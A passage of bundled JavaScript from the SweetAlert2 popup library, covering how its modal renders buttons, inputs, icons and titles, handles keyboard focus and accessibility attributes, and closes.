  800. setInnerHtml(container, sweetHTML);
  801. const targetElement = getTarget(params.target);
  802. targetElement.appendChild(container);
  803. setupAccessibility(params);
  804. setupRTL(targetElement);
  805. addInputChangeListeners();
  806. };
  807. const parseHtmlToContainer = (param, target) => {
  808. if (param instanceof HTMLElement) {
  809. target.appendChild(param);
  810. } else if (typeof param === "object") {
  811. handleObject(param, target);
  812. } else if (param) {
  813. setInnerHtml(target, param);
  814. }
  815. };
  816. const handleObject = (param, target) => {
  817. if (param.jquery) {
  818. handleJqueryElem(target, param);
  819. } else {
  820. setInnerHtml(target, param.toString());
  821. }
  822. };
  823. const handleJqueryElem = (target, elem) => {
  824. target.textContent = "";
  825. if (0 in elem) {
  826. for (let i = 0; i in elem; i++) {
  827. target.appendChild(elem[i].cloneNode(true));
  828. }
  829. } else {
  830. target.appendChild(elem.cloneNode(true));
  831. }
  832. };
  833. const animationEndEvent = (() => {
  834. if (isNodeEnv()) {
  835. return false;
  836. }
  837. const testEl = document.createElement("div");
  838. const transEndEventNames = {
  839. WebkitAnimation: "webkitAnimationEnd",
  840. // Chrome, Safari and Opera
  841. animation: "animationend"
  842. // Standard syntax
  843. };
  844. for (const i in transEndEventNames) {
  845. if (Object.prototype.hasOwnProperty.call(transEndEventNames, i) && typeof testEl.style[i] !== "undefined") {
  846. return transEndEventNames[i];
  847. }
  848. }
  849. return false;
  850. })();
  851. const renderActions = (instance, params) => {
  852. const actions = getActions();
  853. const loader = getLoader();
  854. if (!actions || !loader) {
  855. return;
  856. }
  857. if (!params.showConfirmButton && !params.showDenyButton && !params.showCancelButton) {
  858. hide(actions);
  859. } else {
  860. show(actions);
  861. }
  862. applyCustomClass(actions, params, "actions");
  863. renderButtons(actions, loader, params);
  864. setInnerHtml(loader, params.loaderHtml || "");
  865. applyCustomClass(loader, params, "loader");
  866. };
  867. function renderButtons(actions, loader, params) {
  868. const confirmButton = getConfirmButton();
  869. const denyButton = getDenyButton();
  870. const cancelButton = getCancelButton();
  871. if (!confirmButton || !denyButton || !cancelButton) {
  872. return;
  873. }
  874. renderButton(confirmButton, "confirm", params);
  875. renderButton(denyButton, "deny", params);
  876. renderButton(cancelButton, "cancel", params);
  877. handleButtonsStyling(confirmButton, denyButton, cancelButton, params);
  878. if (params.reverseButtons) {
  879. if (params.toast) {
  880. actions.insertBefore(cancelButton, confirmButton);
  881. actions.insertBefore(denyButton, confirmButton);
  882. } else {
  883. actions.insertBefore(cancelButton, loader);
  884. actions.insertBefore(denyButton, loader);
  885. actions.insertBefore(confirmButton, loader);
  886. }
  887. }
  888. }
  889. function handleButtonsStyling(confirmButton, denyButton, cancelButton, params) {
  890. if (!params.buttonsStyling) {
  891. removeClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  892. return;
  893. }
  894. addClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  895. if (params.confirmButtonColor) {
  896. confirmButton.style.backgroundColor = params.confirmButtonColor;
  897. addClass(confirmButton, swalClasses["default-outline"]);
  898. }
  899. if (params.denyButtonColor) {
  900. denyButton.style.backgroundColor = params.denyButtonColor;
  901. addClass(denyButton, swalClasses["default-outline"]);
  902. }
  903. if (params.cancelButtonColor) {
  904. cancelButton.style.backgroundColor = params.cancelButtonColor;
  905. addClass(cancelButton, swalClasses["default-outline"]);
  906. }
  907. }
  908. function renderButton(button, buttonType, params) {
  909. const buttonName = (
  910. /** @type {'Confirm' | 'Deny' | 'Cancel'} */
  911. capitalizeFirstLetter(buttonType)
  912. );
  913. toggle(button, params[`show${buttonName}Button`], "inline-block");
  914. setInnerHtml(button, params[`${buttonType}ButtonText`] || "");
  915. button.setAttribute("aria-label", params[`${buttonType}ButtonAriaLabel`] || "");
  916. button.className = swalClasses[buttonType];
  917. applyCustomClass(button, params, `${buttonType}Button`);
  918. }
  919. const renderCloseButton = (instance, params) => {
  920. const closeButton = getCloseButton();
  921. if (!closeButton) {
  922. return;
  923. }
  924. setInnerHtml(closeButton, params.closeButtonHtml || "");
  925. applyCustomClass(closeButton, params, "closeButton");
  926. toggle(closeButton, params.showCloseButton);
  927. closeButton.setAttribute("aria-label", params.closeButtonAriaLabel || "");
  928. };
  929. const renderContainer = (instance, params) => {
  930. const container = getContainer();
  931. if (!container) {
  932. return;
  933. }
  934. handleBackdropParam(container, params.backdrop);
  935. handlePositionParam(container, params.position);
  936. handleGrowParam(container, params.grow);
  937. applyCustomClass(container, params, "container");
  938. };
  939. function handleBackdropParam(container, backdrop) {
  940. if (typeof backdrop === "string") {
  941. container.style.background = backdrop;
  942. } else if (!backdrop) {
  943. addClass([document.documentElement, document.body], swalClasses["no-backdrop"]);
  944. }
  945. }
  946. function handlePositionParam(container, position) {
  947. if (!position) {
  948. return;
  949. }
  950. if (position in swalClasses) {
  951. addClass(container, swalClasses[position]);
  952. } else {
  953. warn('The "position" parameter is not valid, defaulting to "center"');
  954. addClass(container, swalClasses.center);
  955. }
  956. }
  957. function handleGrowParam(container, grow) {
  958. if (!grow) {
  959. return;
  960. }
  961. addClass(container, swalClasses[`grow-${grow}`]);
  962. }
  963. const inputClasses = ["input", "file", "range", "select", "radio", "checkbox", "textarea"];
  964. const renderInput = (instance, params) => {
  965. const popup = getPopup();
  966. const innerParams = privateProps.innerParams.get(instance);
  967. const rerender = !innerParams || params.input !== innerParams.input;
  968. inputClasses.forEach((inputClass) => {
  969. const inputContainer = getDirectChildByClass(popup, swalClasses[inputClass]);
  970. setAttributes(inputClass, params.inputAttributes);
  971. inputContainer.className = swalClasses[inputClass];
  972. if (rerender) {
  973. hide(inputContainer);
  974. }
  975. });
  976. if (params.input) {
  977. if (rerender) {
  978. showInput(params);
  979. }
  980. setCustomClass(params);
  981. }
  982. };
  983. const showInput = (params) => {
  984. if (!renderInputType[params.input]) {
  985. error(`Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "${params.input}"`);
  986. return;
  987. }
  988. const inputContainer = getInputContainer(params.input);
  989. const input = renderInputType[params.input](inputContainer, params);
  990. show(inputContainer);
  991. if (params.inputAutoFocus) {
  992. setTimeout(() => {
  993. focusInput(input);
  994. });
  995. }
  996. };
  997. const removeAttributes = (input) => {
  998. for (let i = 0; i < input.attributes.length; i++) {
  999. const attrName = input.attributes[i].name;
  1000. if (!["id", "type", "value", "style"].includes(attrName)) {
  1001. input.removeAttribute(attrName);
  1002. }
  1003. }
  1004. };
  1005. const setAttributes = (inputClass, inputAttributes) => {
  1006. const input = getInput$1(getPopup(), inputClass);
  1007. if (!input) {
  1008. return;
  1009. }
  1010. removeAttributes(input);
  1011. for (const attr in inputAttributes) {
  1012. input.setAttribute(attr, inputAttributes[attr]);
  1013. }
  1014. };
  1015. const setCustomClass = (params) => {
  1016. const inputContainer = getInputContainer(params.input);
  1017. if (typeof params.customClass === "object") {
  1018. addClass(inputContainer, params.customClass.input);
  1019. }
  1020. };
  1021. const setInputPlaceholder = (input, params) => {
  1022. if (!input.placeholder || params.inputPlaceholder) {
  1023. input.placeholder = params.inputPlaceholder;
  1024. }
  1025. };
  1026. const setInputLabel = (input, prependTo, params) => {
  1027. if (params.inputLabel) {
  1028. const label = document.createElement("label");
  1029. const labelClass = swalClasses["input-label"];
  1030. label.setAttribute("for", input.id);
  1031. label.className = labelClass;
  1032. if (typeof params.customClass === "object") {
  1033. addClass(label, params.customClass.inputLabel);
  1034. }
  1035. label.innerText = params.inputLabel;
  1036. prependTo.insertAdjacentElement("beforebegin", label);
  1037. }
  1038. };
  1039. const getInputContainer = (inputType) => {
  1040. return getDirectChildByClass(getPopup(), swalClasses[inputType] || swalClasses.input);
  1041. };
  1042. const checkAndSetInputValue = (input, inputValue) => {
  1043. if (["string", "number"].includes(typeof inputValue)) {
  1044. input.value = `${inputValue}`;
  1045. } else if (!isPromise(inputValue)) {
  1046. warn(`Unexpected type of inputValue! Expected "string", "number" or "Promise", got "${typeof inputValue}"`);
  1047. }
  1048. };
  1049. const renderInputType = {};
  1050. renderInputType.text = renderInputType.email = renderInputType.password = renderInputType.number = renderInputType.tel = renderInputType.url = (input, params) => {
  1051. checkAndSetInputValue(input, params.inputValue);
  1052. setInputLabel(input, input, params);
  1053. setInputPlaceholder(input, params);
  1054. input.type = params.input;
  1055. return input;
  1056. };
  1057. renderInputType.file = (input, params) => {
  1058. setInputLabel(input, input, params);
  1059. setInputPlaceholder(input, params);
  1060. return input;
  1061. };
  1062. renderInputType.range = (range, params) => {
  1063. const rangeInput = range.querySelector("input");
  1064. const rangeOutput = range.querySelector("output");
  1065. checkAndSetInputValue(rangeInput, params.inputValue);
  1066. rangeInput.type = params.input;
  1067. checkAndSetInputValue(rangeOutput, params.inputValue);
  1068. setInputLabel(rangeInput, range, params);
  1069. return range;
  1070. };
  1071. renderInputType.select = (select, params) => {
  1072. select.textContent = "";
  1073. if (params.inputPlaceholder) {
  1074. const placeholder = document.createElement("option");
  1075. setInnerHtml(placeholder, params.inputPlaceholder);
  1076. placeholder.value = "";
  1077. placeholder.disabled = true;
  1078. placeholder.selected = true;
  1079. select.appendChild(placeholder);
  1080. }
  1081. setInputLabel(select, select, params);
  1082. return select;
  1083. };
  1084. renderInputType.radio = (radio) => {
  1085. radio.textContent = "";
  1086. return radio;
  1087. };
  1088. renderInputType.checkbox = (checkboxContainer, params) => {
  1089. const checkbox = getInput$1(getPopup(), "checkbox");
  1090. checkbox.value = "1";
  1091. checkbox.checked = Boolean(params.inputValue);
  1092. const label = checkboxContainer.querySelector("span");
  1093. setInnerHtml(label, params.inputPlaceholder);
  1094. return checkbox;
  1095. };
  1096. renderInputType.textarea = (textarea, params) => {
  1097. checkAndSetInputValue(textarea, params.inputValue);
  1098. setInputPlaceholder(textarea, params);
  1099. setInputLabel(textarea, textarea, params);
  1100. const getMargin = (el) => parseInt(window.getComputedStyle(el).marginLeft) + parseInt(window.getComputedStyle(el).marginRight);
  1101. setTimeout(() => {
  1102. if ("MutationObserver" in window) {
  1103. const initialPopupWidth = parseInt(window.getComputedStyle(getPopup()).width);
  1104. const textareaResizeHandler = () => {
  1105. if (!document.body.contains(textarea)) {
  1106. return;
  1107. }
  1108. const textareaWidth = textarea.offsetWidth + getMargin(textarea);
  1109. if (textareaWidth > initialPopupWidth) {
  1110. getPopup().style.width = `${textareaWidth}px`;
  1111. } else {
  1112. applyNumericalStyle(getPopup(), "width", params.width);
  1113. }
  1114. };
  1115. new MutationObserver(textareaResizeHandler).observe(textarea, {
  1116. attributes: true,
  1117. attributeFilter: ["style"]
  1118. });
  1119. }
  1120. });
  1121. return textarea;
  1122. };
  1123. const renderContent = (instance, params) => {
  1124. const htmlContainer = getHtmlContainer();
  1125. if (!htmlContainer) {
  1126. return;
  1127. }
  1128. applyCustomClass(htmlContainer, params, "htmlContainer");
  1129. if (params.html) {
  1130. parseHtmlToContainer(params.html, htmlContainer);
  1131. show(htmlContainer, "block");
  1132. } else if (params.text) {
  1133. htmlContainer.textContent = params.text;
  1134. show(htmlContainer, "block");
  1135. } else {
  1136. hide(htmlContainer);
  1137. }
  1138. renderInput(instance, params);
  1139. };
  1140. const renderFooter = (instance, params) => {
  1141. const footer = getFooter();
  1142. if (!footer) {
  1143. return;
  1144. }
  1145. toggle(footer, params.footer);
  1146. if (params.footer) {
  1147. parseHtmlToContainer(params.footer, footer);
  1148. }
  1149. applyCustomClass(footer, params, "footer");
  1150. };
  1151. const renderIcon = (instance, params) => {
  1152. const innerParams = privateProps.innerParams.get(instance);
  1153. const icon = getIcon();
  1154. if (!icon) {
  1155. return;
  1156. }
  1157. if (innerParams && params.icon === innerParams.icon) {
  1158. setContent(icon, params);
  1159. applyStyles(icon, params);
  1160. return;
  1161. }
  1162. if (!params.icon && !params.iconHtml) {
  1163. hide(icon);
  1164. return;
  1165. }
  1166. if (params.icon && Object.keys(iconTypes).indexOf(params.icon) === -1) {
  1167. error(`Unknown icon! Expected "success", "error", "warning", "info" or "question", got "${params.icon}"`);
  1168. hide(icon);
  1169. return;
  1170. }
  1171. show(icon);
  1172. setContent(icon, params);
  1173. applyStyles(icon, params);
  1174. addClass(icon, params.showClass && params.showClass.icon);
  1175. };
  1176. const applyStyles = (icon, params) => {
  1177. for (const [iconType, iconClassName] of Object.entries(iconTypes)) {
  1178. if (params.icon !== iconType) {
  1179. removeClass(icon, iconClassName);
  1180. }
  1181. }
  1182. addClass(icon, params.icon && iconTypes[params.icon]);
  1183. setColor(icon, params);
  1184. adjustSuccessIconBackgroundColor();
  1185. applyCustomClass(icon, params, "icon");
  1186. };
  1187. const adjustSuccessIconBackgroundColor = () => {
  1188. const popup = getPopup();
  1189. if (!popup) {
  1190. return;
  1191. }
  1192. const popupBackgroundColor = window.getComputedStyle(popup).getPropertyValue("background-color");
  1193. const successIconParts = popup.querySelectorAll("[class^=swal2-success-circular-line], .swal2-success-fix");
  1194. for (let i = 0; i < successIconParts.length; i++) {
  1195. successIconParts[i].style.backgroundColor = popupBackgroundColor;
  1196. }
  1197. };
  1198. const successIconHtml = `
  1199. <div class="swal2-success-circular-line-left"></div>
  1200. <span class="swal2-success-line-tip"></span> <span class="swal2-success-line-long"></span>
  1201. <div class="swal2-success-ring"></div> <div class="swal2-success-fix"></div>
  1202. <div class="swal2-success-circular-line-right"></div>
  1203. `;
  1204. const errorIconHtml = `
  1205. <span class="swal2-x-mark">
  1206. <span class="swal2-x-mark-line-left"></span>
  1207. <span class="swal2-x-mark-line-right"></span>
  1208. </span>
  1209. `;
  1210. const setContent = (icon, params) => {
  1211. if (!params.icon) {
  1212. return;
  1213. }
  1214. let oldContent = icon.innerHTML;
  1215. let newContent;
  1216. if (params.iconHtml) {
  1217. newContent = iconContent(params.iconHtml);
  1218. } else if (params.icon === "success") {
  1219. newContent = successIconHtml;
  1220. oldContent = oldContent.replace(/ style=".*?"/g, "");
  1221. } else if (params.icon === "error") {
  1222. newContent = errorIconHtml;
  1223. } else {
  1224. const defaultIconHtml = {
  1225. question: "?",
  1226. warning: "!",
  1227. info: "i"
  1228. };
  1229. newContent = iconContent(defaultIconHtml[params.icon]);
  1230. }
  1231. if (oldContent.trim() !== newContent.trim()) {
  1232. setInnerHtml(icon, newContent);
  1233. }
  1234. };
  1235. const setColor = (icon, params) => {
  1236. if (!params.iconColor) {
  1237. return;
  1238. }
  1239. icon.style.color = params.iconColor;
  1240. icon.style.borderColor = params.iconColor;
  1241. for (const sel of [".swal2-success-line-tip", ".swal2-success-line-long", ".swal2-x-mark-line-left", ".swal2-x-mark-line-right"]) {
  1242. setStyle(icon, sel, "backgroundColor", params.iconColor);
  1243. }
  1244. setStyle(icon, ".swal2-success-ring", "borderColor", params.iconColor);
  1245. };
  1246. const iconContent = (content) => `<div class="${swalClasses["icon-content"]}">${content}</div>`;
  1247. const renderImage = (instance, params) => {
  1248. const image = getImage();
  1249. if (!image) {
  1250. return;
  1251. }
  1252. if (!params.imageUrl) {
  1253. hide(image);
  1254. return;
  1255. }
  1256. show(image, "");
  1257. image.setAttribute("src", params.imageUrl);
  1258. image.setAttribute("alt", params.imageAlt || "");
  1259. applyNumericalStyle(image, "width", params.imageWidth);
  1260. applyNumericalStyle(image, "height", params.imageHeight);
  1261. image.className = swalClasses.image;
  1262. applyCustomClass(image, params, "image");
  1263. };
  1264. const renderPopup = (instance, params) => {
  1265. const container = getContainer();
  1266. const popup = getPopup();
  1267. if (!container || !popup) {
  1268. return;
  1269. }
  1270. if (params.toast) {
  1271. applyNumericalStyle(container, "width", params.width);
  1272. popup.style.width = "100%";
  1273. const loader = getLoader();
  1274. loader && popup.insertBefore(loader, getIcon());
  1275. } else {
  1276. applyNumericalStyle(popup, "width", params.width);
  1277. }
  1278. applyNumericalStyle(popup, "padding", params.padding);
  1279. if (params.color) {
  1280. popup.style.color = params.color;
  1281. }
  1282. if (params.background) {
  1283. popup.style.background = params.background;
  1284. }
  1285. hide(getValidationMessage());
  1286. addClasses$1(popup, params);
  1287. };
  1288. const addClasses$1 = (popup, params) => {
  1289. const showClass = params.showClass || {};
  1290. popup.className = `${swalClasses.popup} ${isVisible$1(popup) ? showClass.popup : ""}`;
  1291. if (params.toast) {
  1292. addClass([document.documentElement, document.body], swalClasses["toast-shown"]);
  1293. addClass(popup, swalClasses.toast);
  1294. } else {
  1295. addClass(popup, swalClasses.modal);
  1296. }
  1297. applyCustomClass(popup, params, "popup");
  1298. if (typeof params.customClass === "string") {
  1299. addClass(popup, params.customClass);
  1300. }
  1301. if (params.icon) {
  1302. addClass(popup, swalClasses[`icon-${params.icon}`]);
  1303. }
  1304. };
  1305. const renderProgressSteps = (instance, params) => {
  1306. const progressStepsContainer = getProgressSteps();
  1307. if (!progressStepsContainer) {
  1308. return;
  1309. }
  1310. const {
  1311. progressSteps,
  1312. currentProgressStep
  1313. } = params;
  1314. if (!progressSteps || progressSteps.length === 0 || currentProgressStep === void 0) {
  1315. hide(progressStepsContainer);
  1316. return;
  1317. }
  1318. show(progressStepsContainer);
  1319. progressStepsContainer.textContent = "";
  1320. if (currentProgressStep >= progressSteps.length) {
  1321. warn("Invalid currentProgressStep parameter, it should be less than progressSteps.length (currentProgressStep like JS arrays starts from 0)");
  1322. }
  1323. progressSteps.forEach((step, index) => {
  1324. const stepEl = createStepElement(step);
  1325. progressStepsContainer.appendChild(stepEl);
  1326. if (index === currentProgressStep) {
  1327. addClass(stepEl, swalClasses["active-progress-step"]);
  1328. }
  1329. if (index !== progressSteps.length - 1) {
  1330. const lineEl = createLineElement(params);
  1331. progressStepsContainer.appendChild(lineEl);
  1332. }
  1333. });
  1334. };
  1335. const createStepElement = (step) => {
  1336. const stepEl = document.createElement("li");
  1337. addClass(stepEl, swalClasses["progress-step"]);
  1338. setInnerHtml(stepEl, step);
  1339. return stepEl;
  1340. };
  1341. const createLineElement = (params) => {
  1342. const lineEl = document.createElement("li");
  1343. addClass(lineEl, swalClasses["progress-step-line"]);
  1344. if (params.progressStepsDistance) {
  1345. applyNumericalStyle(lineEl, "width", params.progressStepsDistance);
  1346. }
  1347. return lineEl;
  1348. };
  1349. const renderTitle = (instance, params) => {
  1350. const title = getTitle();
  1351. if (!title) {
  1352. return;
  1353. }
  1354. toggle(title, params.title || params.titleText, "block");
  1355. if (params.title) {
  1356. parseHtmlToContainer(params.title, title);
  1357. }
  1358. if (params.titleText) {
  1359. title.innerText = params.titleText;
  1360. }
  1361. applyCustomClass(title, params, "title");
  1362. };
  1363. const render = (instance, params) => {
  1364. renderPopup(instance, params);
  1365. renderContainer(instance, params);
  1366. renderProgressSteps(instance, params);
  1367. renderIcon(instance, params);
  1368. renderImage(instance, params);
  1369. renderTitle(instance, params);
  1370. renderCloseButton(instance, params);
  1371. renderContent(instance, params);
  1372. renderActions(instance, params);
  1373. renderFooter(instance, params);
  1374. const popup = getPopup();
  1375. if (typeof params.didRender === "function" && popup) {
  1376. params.didRender(popup);
  1377. }
  1378. };
  1379. const isVisible = () => {
  1380. return isVisible$1(getPopup());
  1381. };
  1382. const clickConfirm = () => getConfirmButton() && getConfirmButton().click();
  1383. const clickDeny = () => getDenyButton() && getDenyButton().click();
  1384. const clickCancel = () => getCancelButton() && getCancelButton().click();
  1385. const DismissReason = Object.freeze({
  1386. cancel: "cancel",
  1387. backdrop: "backdrop",
  1388. close: "close",
  1389. esc: "esc",
  1390. timer: "timer"
  1391. });
  1392. const removeKeydownHandler = (globalState2) => {
  1393. if (globalState2.keydownTarget && globalState2.keydownHandlerAdded) {
  1394. globalState2.keydownTarget.removeEventListener("keydown", globalState2.keydownHandler, {
  1395. capture: globalState2.keydownListenerCapture
  1396. });
  1397. globalState2.keydownHandlerAdded = false;
  1398. }
  1399. };
  1400. const addKeydownHandler = (instance, globalState2, innerParams, dismissWith) => {
  1401. removeKeydownHandler(globalState2);
  1402. if (!innerParams.toast) {
  1403. globalState2.keydownHandler = (e) => keydownHandler(instance, e, dismissWith);
  1404. globalState2.keydownTarget = innerParams.keydownListenerCapture ? window : getPopup();
  1405. globalState2.keydownListenerCapture = innerParams.keydownListenerCapture;
  1406. globalState2.keydownTarget.addEventListener("keydown", globalState2.keydownHandler, {
  1407. capture: globalState2.keydownListenerCapture
  1408. });
  1409. globalState2.keydownHandlerAdded = true;
  1410. }
  1411. };
  1412. const setFocus = (index, increment) => {
  1413. const focusableElements = getFocusableElements();
  1414. if (focusableElements.length) {
  1415. index = index + increment;
  1416. if (index === focusableElements.length) {
  1417. index = 0;
  1418. } else if (index === -1) {
  1419. index = focusableElements.length - 1;
  1420. }
  1421. focusableElements[index].focus();
  1422. return;
  1423. }
  1424. getPopup().focus();
  1425. };
  1426. const arrowKeysNextButton = ["ArrowRight", "ArrowDown"];
  1427. const arrowKeysPreviousButton = ["ArrowLeft", "ArrowUp"];
  1428. const keydownHandler = (instance, event, dismissWith) => {
  1429. const innerParams = privateProps.innerParams.get(instance);
  1430. if (!innerParams) {
  1431. return;
  1432. }
  1433. if (event.isComposing || event.keyCode === 229) {
  1434. return;
  1435. }
  1436. if (innerParams.stopKeydownPropagation) {
  1437. event.stopPropagation();
  1438. }
  1439. if (event.key === "Enter") {
  1440. handleEnter(instance, event, innerParams);
  1441. } else if (event.key === "Tab") {
  1442. handleTab(event);
  1443. } else if ([...arrowKeysNextButton, ...arrowKeysPreviousButton].includes(event.key)) {
  1444. handleArrows(event.key);
  1445. } else if (event.key === "Escape") {
  1446. handleEsc(event, innerParams, dismissWith);
  1447. }
  1448. };
  1449. const handleEnter = (instance, event, innerParams) => {
  1450. if (!callIfFunction(innerParams.allowEnterKey)) {
  1451. return;
  1452. }
  1453. if (event.target && instance.getInput() && event.target instanceof HTMLElement && event.target.outerHTML === instance.getInput().outerHTML) {
  1454. if (["textarea", "file"].includes(innerParams.input)) {
  1455. return;
  1456. }
  1457. clickConfirm();
  1458. event.preventDefault();
  1459. }
  1460. };
  1461. const handleTab = (event) => {
  1462. const targetElement = event.target;
  1463. const focusableElements = getFocusableElements();
  1464. let btnIndex = -1;
  1465. for (let i = 0; i < focusableElements.length; i++) {
  1466. if (targetElement === focusableElements[i]) {
  1467. btnIndex = i;
  1468. break;
  1469. }
  1470. }
  1471. if (!event.shiftKey) {
  1472. setFocus(btnIndex, 1);
  1473. } else {
  1474. setFocus(btnIndex, -1);
  1475. }
  1476. event.stopPropagation();
  1477. event.preventDefault();
  1478. };
  1479. const handleArrows = (key) => {
  1480. const confirmButton = getConfirmButton();
  1481. const denyButton = getDenyButton();
  1482. const cancelButton = getCancelButton();
  1483. const buttons = [confirmButton, denyButton, cancelButton];
  1484. if (document.activeElement instanceof HTMLElement && !buttons.includes(document.activeElement)) {
  1485. return;
  1486. }
  1487. const sibling = arrowKeysNextButton.includes(key) ? "nextElementSibling" : "previousElementSibling";
  1488. let buttonToFocus = document.activeElement;
  1489. for (let i = 0; i < getActions().children.length; i++) {
  1490. buttonToFocus = buttonToFocus[sibling];
  1491. if (!buttonToFocus) {
  1492. return;
  1493. }
  1494. if (buttonToFocus instanceof HTMLButtonElement && isVisible$1(buttonToFocus)) {
  1495. break;
  1496. }
  1497. }
  1498. if (buttonToFocus instanceof HTMLButtonElement) {
  1499. buttonToFocus.focus();
  1500. }
  1501. };
  1502. const handleEsc = (event, innerParams, dismissWith) => {
  1503. if (callIfFunction(innerParams.allowEscapeKey)) {
  1504. event.preventDefault();
  1505. dismissWith(DismissReason.esc);
  1506. }
  1507. };
  1508. var privateMethods = {
  1509. swalPromiseResolve: /* @__PURE__ */ new WeakMap(),
  1510. swalPromiseReject: /* @__PURE__ */ new WeakMap()
  1511. };
  1512. const setAriaHidden = () => {
  1513. const bodyChildren = Array.from(document.body.children);
  1514. bodyChildren.forEach((el) => {
  1515. if (el === getContainer() || el.contains(getContainer())) {
  1516. return;
  1517. }
  1518. if (el.hasAttribute("aria-hidden")) {
  1519. el.setAttribute("data-previous-aria-hidden", el.getAttribute("aria-hidden") || "");
  1520. }
  1521. el.setAttribute("aria-hidden", "true");
  1522. });
  1523. };
  1524. const unsetAriaHidden = () => {
  1525. const bodyChildren = Array.from(document.body.children);
  1526. bodyChildren.forEach((el) => {
  1527. if (el.hasAttribute("data-previous-aria-hidden")) {
  1528. el.setAttribute("aria-hidden", el.getAttribute("data-previous-aria-hidden") || "");
  1529. el.removeAttribute("data-previous-aria-hidden");
  1530. } else {
  1531. el.removeAttribute("aria-hidden");
  1532. }
  1533. });
  1534. };
  1535. const isSafariOrIOS = typeof window !== "undefined" && !!window.GestureEvent;
  1536. const iOSfix = () => {
  1537. if (isSafariOrIOS && !hasClass(document.body, swalClasses.iosfix)) {
  1538. const offset = document.body.scrollTop;
  1539. document.body.style.top = `${offset * -1}px`;
  1540. addClass(document.body, swalClasses.iosfix);
  1541. lockBodyScroll();
  1542. }
  1543. };
  1544. const lockBodyScroll = () => {
  1545. const container = getContainer();
  1546. let preventTouchMove;
  1547. container.ontouchstart = (event) => {
  1548. preventTouchMove = shouldPreventTouchMove(event);
  1549. };
  1550. container.ontouchmove = (event) => {
  1551. if (preventTouchMove) {
  1552. event.preventDefault();
  1553. event.stopPropagation();
  1554. }
  1555. };
  1556. };
  1557. const shouldPreventTouchMove = (event) => {
  1558. const target = event.target;
  1559. const container = getContainer();
  1560. if (isStylus(event) || isZoom(event)) {
  1561. return false;
  1562. }
  1563. if (target === container) {
  1564. return true;
  1565. }
  1566. if (!isScrollable(container) && target instanceof HTMLElement && target.tagName !== "INPUT" && // #1603
  1567. target.tagName !== "TEXTAREA" && // #2266
  1568. !(isScrollable(getHtmlContainer()) && // #1944
  1569. getHtmlContainer().contains(target))) {
  1570. return true;
  1571. }
  1572. return false;
  1573. };
  1574. const isStylus = (event) => {
  1575. return event.touches && event.touches.length && event.touches[0].touchType === "stylus";
  1576. };
  1577. const isZoom = (event) => {
  1578. return event.touches && event.touches.length > 1;
  1579. };
  1580. const undoIOSfix = () => {
  1581. if (hasClass(document.body, swalClasses.iosfix)) {
  1582. const offset = parseInt(document.body.style.top, 10);
  1583. removeClass(document.body, swalClasses.iosfix);
  1584. document.body.style.top = "";
  1585. document.body.scrollTop = offset * -1;
  1586. }
  1587. };
  1588. const measureScrollbar = () => {
  1589. const scrollDiv = document.createElement("div");
  1590. scrollDiv.className = swalClasses["scrollbar-measure"];
  1591. document.body.appendChild(scrollDiv);
  1592. const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;
  1593. document.body.removeChild(scrollDiv);
  1594. return scrollbarWidth;
  1595. };
  1596. let previousBodyPadding = null;
  1597. const fixScrollbar = () => {
  1598. if (previousBodyPadding !== null) {
  1599. return;
  1600. }
  1601. if (document.body.scrollHeight > window.innerHeight) {
  1602. previousBodyPadding = parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right"));
  1603. document.body.style.paddingRight = `${previousBodyPadding + measureScrollbar()}px`;
  1604. }
  1605. };
  1606. const undoScrollbar = () => {
  1607. if (previousBodyPadding !== null) {
  1608. document.body.style.paddingRight = `${previousBodyPadding}px`;
  1609. previousBodyPadding = null;
  1610. }
  1611. };
  1612. function removePopupAndResetState(instance, container, returnFocus, didClose) {
  1613. if (isToast()) {
  1614. triggerDidCloseAndDispose(instance, didClose);
  1615. } else {
  1616. restoreActiveElement(returnFocus).then(() => triggerDidCloseAndDispose(instance, didClose));
  1617. removeKeydownHandler(globalState);
  1618. }
  1619. if (isSafariOrIOS) {
  1620. container.setAttribute("style", "display:none !important");
  1621. container.removeAttribute("class");
  1622. container.innerHTML = "";
  1623. } else {
  1624. container.remove();
  1625. }
  1626. if (isModal()) {
  1627. undoScrollbar();
  1628. undoIOSfix();
  1629. unsetAriaHidden();
  1630. }
  1631. removeBodyClasses();
  1632. }
  1633. function removeBodyClasses() {
  1634. removeClass([document.documentElement, document.body], [swalClasses.shown, swalClasses["height-auto"], swalClasses["no-backdrop"], swalClasses["toast-shown"]]);
  1635. }
  1636. function close(resolveValue) {
  1637. resolveValue = prepareResolveValue(resolveValue);
  1638. const swalPromiseResolve = privateMethods.swalPromiseResolve.get(this);
  1639. const didClose = triggerClosePopup(this);
  1640. if (this.isAwaitingPromise) {
  1641. if (!resolveValue.isDismissed) {
  1642. handleAwaitingPromise(this);
  1643. swalPromiseResolve(resolveValue);
  1644. }
  1645. } else if (didClose) {
  1646. swalPromiseResolve(resolveValue);
  1647. }
  1648. }
  1649. const triggerClosePopup = (instance) => {
  1650. const popup = getPopup();
  1651. if (!popup) {
  1652. return false;
  1653. }
  1654. const innerParams = privateProps.innerParams.get(instance);
  1655. if (!innerParams || hasClass(popup, innerParams.hideClass.popup)) {
  1656. return false;
  1657. }
  1658. removeClass(popup, innerParams.showClass.popup);
  1659. addClass(popup, innerParams.hideClass.popup);
  1660. const backdrop = getContainer();
  1661. removeClass(backdrop, innerParams.showClass.backdrop);
  1662. addClass(backdrop, innerParams.hideClass.backdrop);
  1663. handlePopupAnimation(instance, popup, innerParams);
  1664. return true;
  1665. };
  1666. function rejectPromise(error2) {
  1667. const rejectPromise2 = privateMethods.swalPromiseReject.get(this);
  1668. handleAwaitingPromise(this);
  1669. if (rejectPromise2) {
  1670. rejectPromise2(error2);
  1671. }
  1672. }
  1673. const handleAwaitingPromise = (instance) => {
  1674. if (instance.isAwaitingPromise) {
  1675. delete instance.isAwaitingPromise;
  1676. if (!privateProps.innerParams.get(instance)) {
  1677. instance._destroy();
  1678. }
  1679. }
  1680. };
  1681. const prepareResolveValue = (resolveValue) => {
  1682. if (typeof resolveValue === "undefined") {
  1683. return {
  1684. isConfirmed: false,
  1685. isDenied: false,
  1686. isDismissed: true
  1687. };
  1688. }
  1689. return Object.assign({
  1690. isConfirmed: false,
  1691. isDenied: false,
  1692. isDismissed: false
  1693. }, resolveValue);
  1694. };
